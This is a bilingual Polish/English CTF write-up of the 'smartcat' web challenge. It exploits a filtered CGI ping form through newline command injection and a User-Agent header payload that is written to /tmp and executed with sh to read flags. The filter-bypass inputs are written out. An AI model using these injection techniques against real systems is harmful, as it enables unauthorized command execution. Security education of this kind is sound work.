##smartcat (Web, 50+50p)
###PL ENG
W zadaniu dostajemy do dyspozycji webowy interfejs (CGI) pozwalający pignować wskazanego hosta.
Domyślamy się, że pod spodem operacja jest realizowana jako wywołanie ping
w shellu z doklejonym podanym przez nas adresem.
Pierwsza część zadania polega na odczytaniu flagi znajdującej się w nieznanym pliku, więc wymaga od nas jedynie możliwości czytania plików. Operatory:
$;&|({` \t
są zablokowane, ale zauważamy, że znak nowej linii \n
jest wyjątkiem.
Możemy dzięki temu wykonać dowolną komendę podając na wejściu np.
localhost%0Als
Co zostanie potraktowane jako 2 osobne komendy - ping localhost
oraz ls
Wywołanie ls
pozwala stwierdzić, że w bierzącym katalogu jest katalog there
, ale nie mamy możliwości listować go bez użycia spacji. Po chwili namysłu wpadliśmy na pomysł żeby użyć programu find
który dał nam:
.
./index.cgi
./there
./there/is
./there/is/your
./there/is/your/flag
./there/is/your/flag/or
./there/is/your/flag/or/maybe
./there/is/your/flag/or/maybe/not
./there/is/your/flag/or/maybe/not/what
./there/is/your/flag/or/maybe/not/what/do
./there/is/your/flag/or/maybe/not/what/do/you
./there/is/your/flag/or/maybe/not/what/do/you/think
./there/is/your/flag/or/maybe/not/what/do/you/think/really
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag
Pozostało nam tylko wywołać cat<./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag
i uzyskać flagę:
INS{warm_kitty_smelly_kitty_flush_flush_flush}
Druga część zadania jest trudniejsza, ponieważ treść sugeruje, że musimy odczytać flagę przez coś znajdującego się w katalogu /home/smartcat/
oraz, że potrzebny będzie do tego shell.
Zauważamy po pewnym czasie, że możemy tworzyć pliki w katalogu /tmp
.
Możemy także uruchamiać skrypty shell przez sh<script.sh
, ale nadal mieliśmy problem z tym, jak umieścić w skrypcie interesującą nas zawartość.
Wreszcie wpadliśmy na to, że istnieją pewne zmienne, na których zawartość możemy wpłynąć - nagłówki http.
W szczególności możemy w dowolny sposób ustawić swój user-agent
.
Następnie możemy zawartość zmiennych środowiskowych wypisać przez env
a wynik tej operacji zrzucić do pliku w tmp
, a potem uruchomić przez sh</tmp/ourfile
.
Pierwsza próba zawierająca user-agent: a; echo "koty" >/tmp/msm123; a
zakończyła się sukcesem.
Mogliśmy więc z powodzeniem wykonać dowolny kod, w tym użyć nc
lub pythona
do postawienia reverse-shell. Zamiast tego najpierw wylistowaliśmy katalog /home/smartcat/
znajdując tam program readflag
, który przed podaniem flagi wymagał uruchomienia, odczekania kilku sekund i przesłania komunikatu.
Wysłaliśmy więc na serwer skrypt, który wykonywał właśnie te czynności z podanym programem i dostaliśmy:
Flag:
___
.-"; ! ;"-.
.'! : | : !`.
/\ ! : ! : ! /\
/\ | ! :|: ! | /\
( \ \ ; :!: ; / / )
( `. \ | !:|:! | / .' )
(`. \ \ \!:|:!/ / / .')
\ `.`.\ |!|! |/,'.' /
`._`.\\\!!!// .'_.'
`.`.\\|//.'.'
|`._`n'_.'| hjw
"----^----"
INS{shells_are _way_better_than_cats}
###ENG version
In the task we get a web interface (CGI) for pinging selected host.
We predict that underneath this is calling ping
from shell with adress we give.
First part of the task requires reading a flag residing in an unknown file, so we only need to be able to read files. In the web interface characters
$;&|({` \t
are blocked, but we notice that newline character \n
or %0A
is an exception.
Thanks to that we can execute any command we want by using input:
localhost%0Als
This will be executed as 2 separate commands - ping localhost
and ls
Calling ls
shows us that in currend directory there is a there
directory, but we can't list it since we can't use space. After a while we figure that we could use find
which gived us:
.
./index.cgi
./there
./there/is
./there/is/your
./there/is/your/flag
./there/is/your/flag/or
./there/is/your/flag/or/maybe
./there/is/your/flag/or/maybe/not
./there/is/your/flag/or/maybe/not/what
./there/is/your/flag/or/maybe/not/what/do
./there/is/your/flag/or/maybe/not/what/do/you
./there/is/your/flag/or/maybe/not/what/do/you/think
./there/is/your/flag/or/maybe/not/what/do/you/think/really
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the
./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag
We call: cat<./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag
and get flag:
INS{warm_kitty_smelly_kitty_flush_flush_flush}
Second part is more difficult, since we task suggests we need to get the flag using something in /home/smartcat/
dir and that we will need a shell for that.
After some work we notice that we can create files in /tmp
.
We can also call shellscripts by sh<scrupt.sh
, but we still didn't know how to place data we want inside the file.
Finally we figured that there are some environmental variables that we can set - http headers.
In particular we can set user-agent
to any value we want.
We can then list those variables by env
and save result of this operation to a file in /tmp
and then run with sh</tmp/ourfile
.
First attempt containing: a; echo "koty" >/tmp/msm123; a
was successful.
Therefore, we could execute any code, including using nc
or python
to set a reverse-shell. Instead we started with listing /home/smartcat/
directory, finding readflag
binary, which requires us to execute it, wait few seconds and then send some message to get the flag.
Instead of the shell we simply sent a script which was doing exactly what readflag
wanted and we got:
Flag:
___
.-"; ! ;"-.
.'! : | : !`.
/\ ! : ! : ! /\
/\ | ! :|: ! | /\
( \ \ ; :!: ; / / )
( `. \ | !:|:! | / .' )
(`. \ \ \!:|:!/ / / .')
\ `.`.\ |!|! |/,'.' /
`._`.\\\!!!// .'_.'
`.`.\\|//.'.'
|`._`n'_.'| hjw
"----^----"
INS{shells_are _way_better_than_cats}